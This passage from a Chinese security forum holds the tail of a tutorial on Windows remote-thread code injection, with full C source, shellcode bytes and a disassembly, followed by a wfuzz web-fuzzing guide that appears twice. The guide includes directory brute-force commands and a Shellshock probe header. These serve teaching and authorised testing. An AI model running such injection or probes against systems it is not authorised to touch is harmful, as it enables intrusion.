printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
 
在 Debug 编译模式下,编译器会为进程生成一张 ILT,此时函数的名称并不是函数的地址,对函数的定位就会变的困难,所以在编译时选择 Release 模式进行编译。
 
完整代码如下:
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;

typedef HMODULE(WINAPI* PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
);

typedef FARPROC(WINAPI* PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
);

//定义了一个新类型
typedef int (WINAPI* PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

//函数用于提升权限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES NewState;
//获得访问令牌,返回到参数 hToken。
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

//获得 LUID,返回到参数 luid。
if (!LookupPrivilegeValue(NULL,
lpszPrivilege,
&luid))
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luid;
if (bEnablePrivilege)
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
NewState.Privileges[0].Attributes = 0;

//调整特权信息
if (!AdjustTokenPrivileges(hToken,
FALSE,
&NewState,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}

//要注入的代码
DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}

//函数用于注入代码和数据
BOOL CodeInject(DWORD dwPID)
{
HMODULE hMod = NULL; //目标DLL的句柄
HANDLE hProcess = NULL; //目标进程的句柄
THREAD_PARAM param = { 0, }; //要注入的数据
DWORD dwSize = 0; //申请空间大小
LPVOID pRemoteBuf[2] = { 0, }; //指向申请的缓存区的指针,0是指向数据缓存区,1指向代码缓存区
HANDLE hThread = NULL; //远程线程的句柄
hMod = GetModuleHandleA("Kernel32.dll");
//注入代码需要使用到的数据
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2");
//获取进程句柄
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwPID)) )
{
printf("OpneProcess API 调用失败");
return FALSE;
}
//为数据申请空间
dwSize = sizeof(THREAD_PARAM);
if ( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_READWRITE)) )
{
printf("申请数据空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入数据
if (!WriteProcessMemory(hProcess,
pRemoteBuf[0],
(LPVOID)&param,
dwSize,
NULL))
{
printf("写入数据失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//为代码申请空间
dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入代码
if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//调用远程线程
if( !(hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1],
pRemoteBuf[0],
0,
NULL)) )
{
printf("创建远程线程失败: err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}

int main(int argc, char *argv)
{
DWORD dwPID = 0;
if (argc != 2)
{
printf("\n USAGE : %s <proc name>\n", argv[0]);
return 1;
}
//提升自身权限
if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
{
return 1;
}

dwPID = (DWORD)atol(argv[1]);
CodeInject(dwPID);

return 0;
}

 
汇编语言比 C 语言更加的自由、灵活,可以使用汇编语言编写注入代码。且汇编语言编写的注入代码本身同时包含着代码所需要的字符串数据,所以在 _THREAD_PARAM 结构体中只需要包含函数指针就可以了。具体的注入代码 如下:
 
BYTE g_InjectionCode =
{
0x55, 0x8B, 0xEC, 0x8B, 0x75, 0x08, 0x68, 0x6C, 0x6C, 0x00,
0x00, 0x68, 0x33, 0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65,
0x72, 0x54, 0xFF, 0x16, 0x68, 0x6F, 0x78, 0x41, 0x00, 0x68,
0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54,
0x50, 0xFF, 0x56, 0x04, 0x6A, 0x00, 0xE8, 0x0C, 0x00, 0x00,
0x00, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x43, 0x6F,
0x72, 0x65, 0x00, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x77, 0x77,
0x77, 0x2E, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x63,
0x6F, 0x72, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x6A, 0x00,
0xFF, 0xD0, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3
};

004010ED 55 PUSH EBP
004010EE 8BEC MOV EBP,ESP
004010F0 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; ESI = pParam
0[b]04010F3 68 6C6C0000 PUSH 6C6C
004010F8 68 33322E64 PUSH 642E3233
004010FD 68 75736572 PUSH 72657375[/b]
00401102 54 PUSH ESP ; - "user32.dll"
00401103 FF16 CALL DWORD PTR DS:[ESI] ; LoadLibraryA("user32.dll")
00401105 68 6F784100 PUSH 41786F
0040110A 68 61676542 PUSH 42656761
0040110F 68 4D657373 PUSH 7373654D
00401114 54 PUSH ESP ; - "MessageBoxA"
00401115 50 PUSH EAX ; - hMod
00401116 FF56 04 CALL DWORD PTR DS:[ESI+4] ; GetProcAddress(hMod, "MessageBoxA")
00401119 6A 00 PUSH 0 ; - MB_OK (0)
[b]0040111B E8 0C000000 CALL 0040112C
[/b]00401120 <ASCII> ; - "ReverseCore", 0
[b]0040112C E8 14000000 CALL 00401145[/b]
00401131 <ASCII> ; - "www.reversecore.com", 0
00401145 6A 00 PUSH 0 ; - hWnd (0)
00401147 FFD0 CALL EAX ; MessageBoxA(0, "www.reversecore.com", "ReverseCore", 0)
00401149 33C0 XOR EAX,EAX
0040114B 8BE5 MOV ESP,EBP
0040114D 5D POP EBP
0040114E C3 RETN
 
 
需要注意的是,在 32 位的操作系统中,PUSH 指令一次只能将 4 字节的数据压入栈
所以在上例的 004010F3 地址处到 004010FD 处的三句 PUSH 指令都是为了将函数 LoadLibraryA 的参数:字符串“user32.dll”压入栈中。但这样也太过麻烦了。我们可以利用 call 指令的特性,从而一次性的把超过 4 字节的字符串压入栈中。
我们都知道 call 指令是先把下一条指令的地址压入栈中,然后 JMP(跳转) 到相应地址。由于我们要跳转的地址并不是一个真正的函数,所以也不会有 RETN 返回指令。所以在这里 call 指令就只是将我们的字符串压入栈中,然后转到下一条代码指令。实例 0040111B 和 0040112C 处的 call 指令都是为了将字符串压入栈中。这也是 call 指令的一个很有意思的用法。
 
 
 
 

初识wfuzz

渗透测试willeson 发表了文章 • 1 个评论 • 179 次浏览 • 2019-07-30 15:25 • 来自相关话题

wfuzz简介:
 
        wfuzz 是一款Python开发的Web安全测试工具
        wfuzz不仅仅是一个web扫描器:
wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。wfuzz是一个完全模块化的框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事,通常只需几分钟。wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试,而不需要依赖web形式的扫描器。
 
1,wfuzz的基本使用
 
wfuzz的基本使用非常简单,只需要一个目标url和一个字典wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ





如图中所示wfuzz的输出结果给我们提供了以下信息:ID:测试时的请求序号
Response:HTTP响应码
Lines:响应信息中的行数
Word:响应信息中的字数
Chars:响应信息中的字符数
Payload:当前使用的payload
wfuzz的输出使我们能分析web server 的响应,还可根据获得的HTTP响应信息过滤出我们想要的结果,比如过滤响应码/响应长度等等。
 
2,wfuzz的基础命令
 
   使用-h和--help参数来获取基本帮助信息和详细帮助信息。wfuzz是一个完全的模块化的模式,你可以使用-e<<category>> 
参数查看其中可以使用的模块,例如:





 
3,payload
 
   wfuzz基于一个非常简单的概念:它用一个给定的payload来替换相应的FUZZ关键词的值,我们称FUZZ这样的关键词为占位符,这样更容易理解。一个wfuzz中的payload就是一个输入的源。使用wfuzz -e paylopad







查看wfuzz可以使用的参数。 
#要想得到所有可用的payload列表,可以执行如下命令:wfuzz -e payloads
#关于payloads的更详细的信息可以通过以下命令获取:wfuzz -z help
#上面这个命令还可以使用--slice参数来对输出结果进行过滤:
 
1,指定一个payload
每个FUZZ占位符都必须为它指定相应的payload。指定一个payload时有几种方法:
命令比较长的方式是显式的定义payload的参数:$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
另一个不太长的方式是只提供payload所需的默认参数:$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
最后,短的方式是使用别名:$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]我一般都使用最后一种
 
2,指定多个payload使用-w 或者-z 可以指定多个参数,这时相应的占位符应设置为FUZZ,FUZ1Z,FUZ2Z··········FUZnZ,下面的例子是我们同时爆破目录,文件,和后缀。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z 




 
4,过滤器
 
   对wfuzz的结果时行过滤是非常重要的:
非常大的字典文件可以生成非常庞大的输出,并且把我们想要的结果淹没对HTTP响应的一些分类在实际攻击时是非常重要的,例如,为了查检一个SQLi的漏洞是否存在,我们必须能够将合理的响应和错误/不同的响应区分开。wfuzz可根据HTTP响应码和收到的响应的长度(字数,字符数或行数)来过滤。还可以用正则表达式。
 
过滤的方法有两种:隐藏或显示符合过滤条件的结果。
1,隐藏响应结果:
通过--hc  --hl  --hw  --hh 可以达到隐藏某些结果的目的。
hc是响应码
hl是响应行数
hw是响应字数
hc是响应字符数
 
2,定向显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc,--sl,--sw,--sh。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]




 
会把状态码为404的过滤掉。如果想过滤多个条件的话只需要加多个隐藏条件,中间以逗号隔开。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]  





用行数,字数,字符数来指定过滤规则,在当HTTP返回码相同的时候比较方便。比如,网站一般会指定一个自定义的错误页面,返回码是200,但实际上起到了一个404页面的作用,我们称之为软404。有的网站在用户访问不存在的文件或者目录时会跳到指定的页面,也给我们带来一些麻烦。
还有有些网站做泛解析策略,这些都能用过滤器解决。
以下面的网站为例。
xxxx.com 是一个使用泛解析策略的网站。wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com










下面我们过滤字符数为372。wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com





正常扫描。
 
5,使用Baseline
 
   习惯上称Baseline为”基准线“。过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。
之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替:wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}





这里,{ }来指定第一次HTTP请求时用来替换FUZZ占位符的值,其响应将被标记为BBB,并用于过滤条件中。
使用正则表达式过滤:
在命令行中,参数--ss和--hs可以接受正则表达式来对返回的结果时行过滤。
详细例子请参考http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ重要关键词payload
payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。
当前版本中的wfuzz中可用payloads列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e payloads
Available payloads:
Name | Summary
------------------------------------------------------------------------------------------------------
guitab | 从可视化的标签栏中读取请求
dirwalk | 递归获得本地某个文件夹中的文件名
file | 获取一个文件当中的每个词
autorize | 获取autorize的测试结果Returns fuzz results' from autororize.
wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL
ipnet | 获得一个指定网络的IP地址列表
bing | 获得一个使用bing API搜索的URL列表 (需要 api key).
stdin | 获得从标准输入中的条目
list | 获得一个列表中的每一个元素,列表用以 - 符号分格
hexrand | 从一个指定的范围中随机获取一个hex值
range | 获得指定范围内的每一个数值
names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
burplog | 从BurpSuite的记录中获得测试结果
permutation | 获得一个在指定charset和length时的字符组合
buffer_overflow | 获得一个包含指定个数个A的字符串.
hexrange | 获得指定范围内的每一个hex值
iprange | 获得指定IP范围内的IP地址列表
burpstate | 从BurpSuite的状态下获得测试结果encoder
encoder的作用是将payload进行编码或加密。
wfuzz的encoder列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e encoders
Available encoders:
Category | Name | Summary
------------------------------------------------------------------------------------------------------------------------
url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码
html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符
html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符
hashes | base64 | 将给定的字符串中的所有字符进行base64编码
url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码
db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式
url | utf8 | 将所有字符以`\u00xx` 格式进行编码
hashes | md5 | 将给定的字符串进行md5加密
default | random_upper | 将字符串中随机字符变为大写
url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码
default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示
url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码
url | uri_hex | 将所有字符以`%xx` 格式进行编码
default | none | 不进行任何编码
hashes | sha1 | 将字符串进行sha1加密
url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码
url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码
url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码
html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码
db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式
db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式iterator
wfuzz的iterator提供了针对多个payload的处理方式。
itorators的列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e iterators
Available iterators:
Name | Summary
----------------------------------------------------------------------------------------------
product | 返回输入条目的笛卡尔积
zip | Retns an iterator that aggregates elements from each of the iterables.
chain | Returns an iterator returns elements from the first iterable until it is exhaust
| ed, then proceeds to the next iterable, until all of the iterables are exhausted
| (翻译不好,请自行理解)printer
wfuzz的printers用于控制输出打印。
printers列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e printers
Available printers:
Name | Summary
--------------------------------------------------
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
(比较好懂,不再翻译)scripts
暂时不知道怎么使用
scripts列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e scripts
Available scripts:
Category | Name | Summary
----------------------------------------------------------------------------------------------------
default, passive | cookies | 查找新的cookies
default, passive | errors | 查找错误信息
passive | grep | HTTP response grep
active | screenshot | 用linux cutycapt tool 进行屏幕抓取
default, active, discovery | links | 解析HTML并查找新的内容
default, active, discovery | wc_extractor | 解析subversion的wc.db文件
default, passive | listing | 查找列目录漏洞
default, passive | title | 解析HTML页面的title
default, active, discovery | robots | 解析robots.txt文件来查找新内容
default, passive | headers | 查找服务器的返回头
default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
default, active, discovery | svn_extractor | 解析 .svn/entries 文件
active, discovery | backups | 查找已知的备份文件名
default, active, discovery | sitemap | 解析 sitemap.xml 文件内置工具wfencode 工具
这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。 ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -e base64 123456
MTIzNDU2
┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -d base64 MTIzNDU2
123456



















 wfpayload工具
wfpayload是payload生成工具 ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfpayload -z range,0-10
0
1
2
3
4
5
6
7
8
9
10wxfuzz 工具
这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…wfuzz命令中文帮助
这是wfuzz的主工具,我们平时使用的时候就是用这个。
先来看看帮助文档: ┌─[✗]─[michael@parrot]─[~]
└──╼ $wfuzz --help
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名,如 url
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目参考:https://www.freebuf.com/column/163553.html
 


  查看全部
wfuzz简介:
 
        wfuzz 是一款Python开发的Web安全测试工具
        wfuzz不仅仅是一个web扫描器:
  • wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。
  • wfuzz是一个完全模块化的框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事,通常只需几分钟。
  • wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试,而不需要依赖web形式的扫描器。

 
1,wfuzz的基本使用
 
wfuzz的基本使用非常简单,只需要一个目标url和一个字典
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ

Image.png


如图中所示wfuzz的输出结果给我们提供了以下信息:
ID:测试时的请求序号
Response:HTTP响应码
Lines:响应信息中的行数
Word:响应信息中的字数
Chars:响应信息中的字符数
Payload:当前使用的payload

wfuzz的输出使我们能分析web server 的响应,还可根据获得的HTTP响应信息过滤出我们想要的结果,比如过滤响应码/响应长度等等。
 
2,wfuzz的基础命令
 
   使用-h和--help参数来获取基本帮助信息和详细帮助信息。wfuzz是一个完全的模块化的模式,你可以使用
-e<<category>>
 
参数查看其中可以使用的模块,例如:

Image_[3].png

 
3,payload
 
   wfuzz基于一个非常简单的概念:它用一个给定的payload来替换相应的FUZZ关键词的值,我们称FUZZ这样的关键词为占位符,这样更容易理解。一个wfuzz中的payload就是一个输入的源。使用
wfuzz -e paylopad


Image_[2].png


查看wfuzz可以使用的参数。 
#要想得到所有可用的payload列表,可以执行如下命令:
wfuzz -e payloads

#关于payloads的更详细的信息可以通过以下命令获取:
wfuzz -z help

#上面这个命令还可以使用--slice参数来对输出结果进行过滤:
 
1,指定一个payload
每个FUZZ占位符都必须为它指定相应的payload。指定一个payload时有几种方法:
命令比较长的方式是显式的定义payload的参数:
$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ

另一个不太长的方式是只提供payload所需的默认参数:
$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ

最后,短的方式是使用别名:
$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]
我一般都使用最后一种
 
2,指定多个payload使用-w 或者-z 可以指定多个参数,这时相应的占位符应设置为FUZZ,FUZ1Z,FUZ2Z··········FUZnZ,下面的例子是我们同时爆破目录,文件,和后缀。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z
 
Image_[4].png

 
4,过滤器
 
   对wfuzz的结果时行过滤是非常重要的:
非常大的字典文件可以生成非常庞大的输出,并且把我们想要的结果淹没对HTTP响应的一些分类在实际攻击时是非常重要的,例如,为了查检一个SQLi的漏洞是否存在,我们必须能够将合理的响应和错误/不同的响应区分开。wfuzz可根据HTTP响应码和收到的响应的长度(字数,字符数或行数)来过滤。还可以用正则表达式。
 
过滤的方法有两种:隐藏或显示符合过滤条件的结果。
1,隐藏响应结果:
通过--hc  --hl  --hw  --hh 可以达到隐藏某些结果的目的。
hc是响应码
hl是响应行数
hw是响应字数
hc是响应字符数
 
2,定向显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc,--sl,--sw,--sh。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]

Image_[5].png

 
会把状态码为404的过滤掉。如果想过滤多个条件的话只需要加多个隐藏条件,中间以逗号隔开。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]   

Image_[6].png


用行数,字数,字符数来指定过滤规则,在当HTTP返回码相同的时候比较方便。比如,网站一般会指定一个自定义的错误页面,返回码是200,但实际上起到了一个404页面的作用,我们称之为软404。有的网站在用户访问不存在的文件或者目录时会跳到指定的页面,也给我们带来一些麻烦。
还有有些网站做泛解析策略,这些都能用过滤器解决。
以下面的网站为例。
xxxx.com 是一个使用泛解析策略的网站。
wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com 





Image_[8].png


下面我们过滤字符数为372。
wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com

Image_[9].png


正常扫描。
 
5,使用Baseline
 
   习惯上称Baseline为”基准线“。过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。
之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}

Image_[10].png


这里,{ }来指定第一次HTTP请求时用来替换FUZZ占位符的值,其响应将被标记为BBB,并用于过滤条件中。
使用正则表达式过滤:
在命令行中,参数--ss和--hs可以接受正则表达式来对返回的结果时行过滤。
详细例子请参考http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html
$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ
重要关键词payload
payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。
当前版本中的wfuzz中可用payloads列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e payloads
Available payloads:
Name | Summary
------------------------------------------------------------------------------------------------------
guitab | 从可视化的标签栏中读取请求
dirwalk | 递归获得本地某个文件夹中的文件名
file | 获取一个文件当中的每个词
autorize | 获取autorize的测试结果Returns fuzz results' from autororize.
wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL
ipnet | 获得一个指定网络的IP地址列表
bing | 获得一个使用bing API搜索的URL列表 (需要 api key).
stdin | 获得从标准输入中的条目
list | 获得一个列表中的每一个元素,列表用以 - 符号分格
hexrand | 从一个指定的范围中随机获取一个hex值
range | 获得指定范围内的每一个数值
names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
burplog | 从BurpSuite的记录中获得测试结果
permutation | 获得一个在指定charset和length时的字符组合
buffer_overflow | 获得一个包含指定个数个A的字符串.
hexrange | 获得指定范围内的每一个hex值
iprange | 获得指定IP范围内的IP地址列表
burpstate | 从BurpSuite的状态下获得测试结果
encoder
encoder的作用是将payload进行编码或加密。
wfuzz的encoder列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e encoders
Available encoders:
Category | Name | Summary
------------------------------------------------------------------------------------------------------------------------
